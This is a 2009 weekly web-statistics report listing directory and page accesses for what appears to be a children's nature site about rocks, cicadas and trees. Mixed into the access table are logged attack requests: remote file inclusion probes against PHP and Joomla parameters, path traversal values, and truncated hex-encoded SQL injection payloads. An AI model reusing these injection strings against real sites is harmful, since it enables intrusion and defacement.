Directories Report

Week of 10/25/2009 to 10/31/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /rocks] 77,421 73.52 758,609,332 69.93 4,266 24.83
2 [ /cicada_hunt] 13,710 13.02 176,181,010 16.24 7,944 46.24
3 [ /trees] 3,025 2.87 17,340,702 1.60 583 3.39
4 [ /aarons_cars] 2,231 2.12 37,073,935 3.42 541 3.15
5 [ /webstats] 2,213 2.10 31,570,668 2.91 550 3.20
6 [ /dinosaurs] 1,388 1.32 13,806,148 1.27 259 1.51
7 / [Referrers] 1,054 1.00 9,063,603 0.84 730 4.25
8 [ /wonderworks] 877 0.83 10,809,599 1.00 276 1.61
9 [ /campfire] 493 0.47 3,977,068 0.37 191 1.11
10 [ /inquiriesfair] 452 0.43 4,127,868 0.38 280 1.63
11 [ /ethan] 353 0.34 1,922,110 0.18 102 0.59
12 /search.htm [Referrers] 191 0.18 991,600 0.09 141 0.82
13 [ /_themes] 182 0.17 118,514 0.01 162 0.94
14 [ /?mosConfig_absolute_path=http:] 159 0.15 1,538,007 0.14 0 0.00
15 [ /natureclub] 157 0.15 1,044,029 0.10 118 0.69
16 /kindergartenteachers.htm [Referrers] 118 0.11 1,766,194 0.16 115 0.67
17 [ /ESCONI] 114 0.11 747,773 0.07 46 0.27
18 /kindergarten.htm [Referrers] 84 0.08 1,460,550 0.13 83 0.48
19 /for_teachers.htm [Referrers] 52 0.05 356,616 0.03 50 0.29
20 /about_this_site.htm [Referrers] 51 0.05 887,392 0.08 49 0.29
21 [ /?sIncPath=http:] 50 0.05 483,650 0.04 0 0.00
22 /why_salt_the_sandbox.htm [Referrers] 45 0.04 312,450 0.03 42 0.24
23 /garden.htm [Referrers] 36 0.03 492,565 0.05 35 0.20
24 /for_parents.htm [Referrers] 33 0.03 285,012 0.03 31 0.18
25 /index.htm [Referrers] 33 0.03 212,806 0.02 35 0.20
26 /ChicagoParentArticle1.htm [Referrers] 30 0.03 542,100 0.05 30 0.17
27 /ChicagoParentArticle2.htm [Referrers] 30 0.03 654,969 0.06 30 0.17
28 [ /birds] 30 0.03 3,663,769 0.34 18 0.10
29 /for_homeschoolers.htm [Referrers] 27 0.03 173,908 0.02 27 0.16
30 /privacy.htm 25 0.02 96,876 0.01 25 0.15
31 [ /?custompluginfile[]=http:] 23 0.02 222,479 0.02 0 0.00
32 /ChicagoParent.htm [Referrers] 22 0.02 108,430 0.01 20 0.12
33 [ /?page=http:] 15 0.01 145,095 0.01 0 0.00
34 [ //?_zb_path=http:] 12 0.01 116,076 0.01 0 0.00
35 [ /?_SERVER[DOCUMENT_ROOT]=http:] 12 0.01 116,076 0.01 0 0.00
36 [ /?jamroom[jm_dir]=http:] 10 0.01 96,730 0.01 0 0.00
37 [ ///?_SERVER[DOCUMENT_ROOT]=http:] 8 0.01 77,384 0.01 0 0.00
38 [ /?_CONFIG[files][functions_page]=http:] 8 0.01 77,384 0.01 0 0.00
39 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 8 0.01 77,384 0.01 0 0.00
40 [ /?_zb_path=http:] 7 0.01 67,711 0.01 0 0.00
41 /cicadaindex.htm 7 0.01 9,810 0.00 7 0.04
42 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
6 0.01 58,038 0.01 0 0.00
43 /Overnight.htm 6 0.01 5,891 0.00 10 0.06
44 [ /esconi] 6 0.01 13,005 0.00 3 0.02
45 /redpolls.htm 6 0.01 7,050 0.00 6 0.03
46 [ /?rocks] 5 0.00 19,346 0.00 0 0.00
47 /?!w=353&out=&cw=800&cam=:2.0&d=Daddy missed taking a pictur
e of the "9:20" stage. tonight, so this photo is o
f another cicada. ... Hunt. Find. Solve. Do. Link. H
4 0.00 19,346 0.00 0 0.00
48 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
4 0.00 19,346 0.00 0 0.00
49 [ /?_REQUEST=&_REQUEST[option]=com_dbquery&_REQUEST[Itemid]=1&
GLOBALS=&mosConfig_absolute_path=http:]
4 0.00 38,692 0.00 0 0.00
50 [ /?absolute_path=..] 4 0.00 19,346 0.00 0 0.00
51 [ /?htmlclass_path= http:] 4 0.00 38,692 0.00 0 0.00
52 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 4 0.00 38,692 0.00 0 0.00
53 /Overnight.htm?!w=353&out=&cw=800&cam=:2.0&d=Daddy missed ta
king a picture of the "9:20" stage. tonight, so th
is photo is of another cicada. ... Hunt. Find. Solve. Do. Li
nk. H
4 0.00 11,782 0.00 0 0.00
54 /What_Species.htm 4 0.00 8,432 0.00 4 0.02
55 [ /?_CONFIG] 3 0.00 19,346 0.00 0 0.00
56 [ /?absolute_path=http:] 3 0.00 29,019 0.00 0 0.00
57 /?feed=rss2 3 0.00 19,346 0.00 0 0.00
58 [ /?sIncPath=..] 3 0.00 19,346 0.00 0 0.00
59 [ /?section=http:] 3 0.00 29,019 0.00 0 0.00
60 /NewlyHatched.htm 3 0.00 6,821 0.00 3 0.02
61 /RedEyes.htm 3 0.00 4,320 0.00 3 0.02
62 /cicada_hunt?MoreFinds.html 3 0.00 819 0.00 0 0.00
63 /cicada_hunt?SeventeenYearLocust.htm 3 0.00 846 0.00 0 0.00
64 /cicada_killers.htm 3 0.00 4,320 0.00 3 0.02
65 /cicada_killers_solved.htm 3 0.00 2,511 0.00 3 0.02
66 /how_many.htm 3 0.00 3,959 0.00 3 0.02
67 /trees?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C41524520
4054207661726368617228323535292C4043207661726368617228343030
3029204445434C415245205461626C655F437572736F7220435552534F52
20464F522073656C65637420612E6E616D652C622E6E616D652066726F6D
207379736F626A6563747320612C737973636F6C756D6E732
3 0.00 1,623 0.00 0 0.00
68 [ //?_SERVER[DOCUMENT_ROOT]=http:] 2 0.00 19,346 0.00 0 0.00
69 /17-year_locust.htm 2 0.00 4,954 0.00 2 0.01
70 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
2 0.00 19,346 0.00 0 0.00
71 [ /?BBCodeFile= bussnisshttp:] 2 0.00 19,346 0.00 0 0.00
72 /?PeridicalChicago 2 0.00 0 0.00 0 0.00
73 [ /?error= http:] 2 0.00 19,346 0.00 0 0.00
74 [ /?site= bussnisshttp:] 2 0.00 19,346 0.00 0 0.00
75 [ /?sourcedir=..] 2 0.00 19,346 0.00 0 0.00
76 /Overnight_NoText.htm 2 0.00 4,245 0.00 2 0.01
77 /The_Next_Day.htm 2 0.00 4,392 0.00 2 0.01
78 /WhiteNymph.htm 2 0.00 5,563 0.00 2 0.01
79 /family_photos.htm 2 0.00 1,024 0.00 2 0.01
80 /for_older_kids.htm 2 0.00 13,254 0.00 2 0.01
81 /more_finds.htm 2 0.00 6,218 0.00 2 0.01
82 /search.htm?wwparam=1201130756 2 0.00 6,700 0.00 0 0.00
83 /trees?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452
04054207661726368617228323535292C404320766172636861722834303
03029204445434C415245205461626C655F437572736F7220435552534F5
220464F522073656C65637420612E6E616D652C622E6E616D652066726F6
D207379736F626A6563747320612C737973636F6C756D6E732
2 0.00 1,084 0.00 0 0.00
84 [ //?DOCUMENT_ROOT=http:] 1 0.00 9,673 0.00 0 0.00
85 [ //?mosConfig_absolute_path=http:] 1 0.00 9,673 0.00 0 0.00
86 [ //?option=com_dbquery&Itemid=&mosConfig_absolute_path=http:] 1 0.00 9,673 0.00 0 0.00
87 [ //rocks] 1 0.00 0 0.00 1 0.01
88 /?SeventeenYearLocust.htm 1 0.00 9,673 0.00 0 0.00
89 [ /?_REQUEST=&_REQUEST[option]=http:] 1 0.00 9,673 0.00 0 0.00
90 [ /?_SERVER[DOCUMENT_ROOT]=https:] 1 0.00 9,673 0.00 0 0.00
91 [ /?custompluginfile[DOCUMENT_ROOT]=http:] 1 0.00 9,673 0.00 0 0.00
92 [ /?custompluginfile[]=..] 1 0.00 9,673 0.00 0 0.00
93 /?i=http://scottstubbs.com 1 0.00 9,673 0.00 0 0.00
94 /?link 1 0.00 9,673 0.00 0 0.00
95 [ /?mosConfig_absolute_path= online shophttp:] 1 0.00 9,673 0.00 0 0.00
96 /?pghttp://scottstubbs.com 1 0.00 9,673 0.00 0 0.00
97 [ /?sIncPath=ftp:] 1 0.00 9,673 0.00 0 0.00
98 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing) ?
1 0.00 9,673 0.00 0 0.00
99 /HurtYou.htm 1 0.00 4,840 0.00 1 0.01
100 /PioneerPressPhotos.htm 1 0.00 1,481 0.00 1 0.01
101 /_vti_inf.html 1 0.00 1,716 0.00 1 0.01
102 /cicada_hunt?PeridicalChicago 1 0.00 275 0.00 0 0.00
103 /cicada_mysteries.htm 1 0.00 4,015 0.00 1 0.01
104 /garden.htm?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&conc
ept=standard&query=round+red+lava+rock+garden&cbid=
[Referrers]
1 0.00 18,395 0.00 0 0.00
105 [ /index.htm?i=http:] 1 0.00 9,673 0.00 0 0.00
106 [ /index.htm?pghttp:] 1 0.00 9,673 0.00 0 0.00
107 /kindergarten.htm?from=search_webresults<1> 1 0.00 20,865 0.00 0 0.00
108 /new_finds_id.htm 1 0.00 6,224 0.00 1 0.01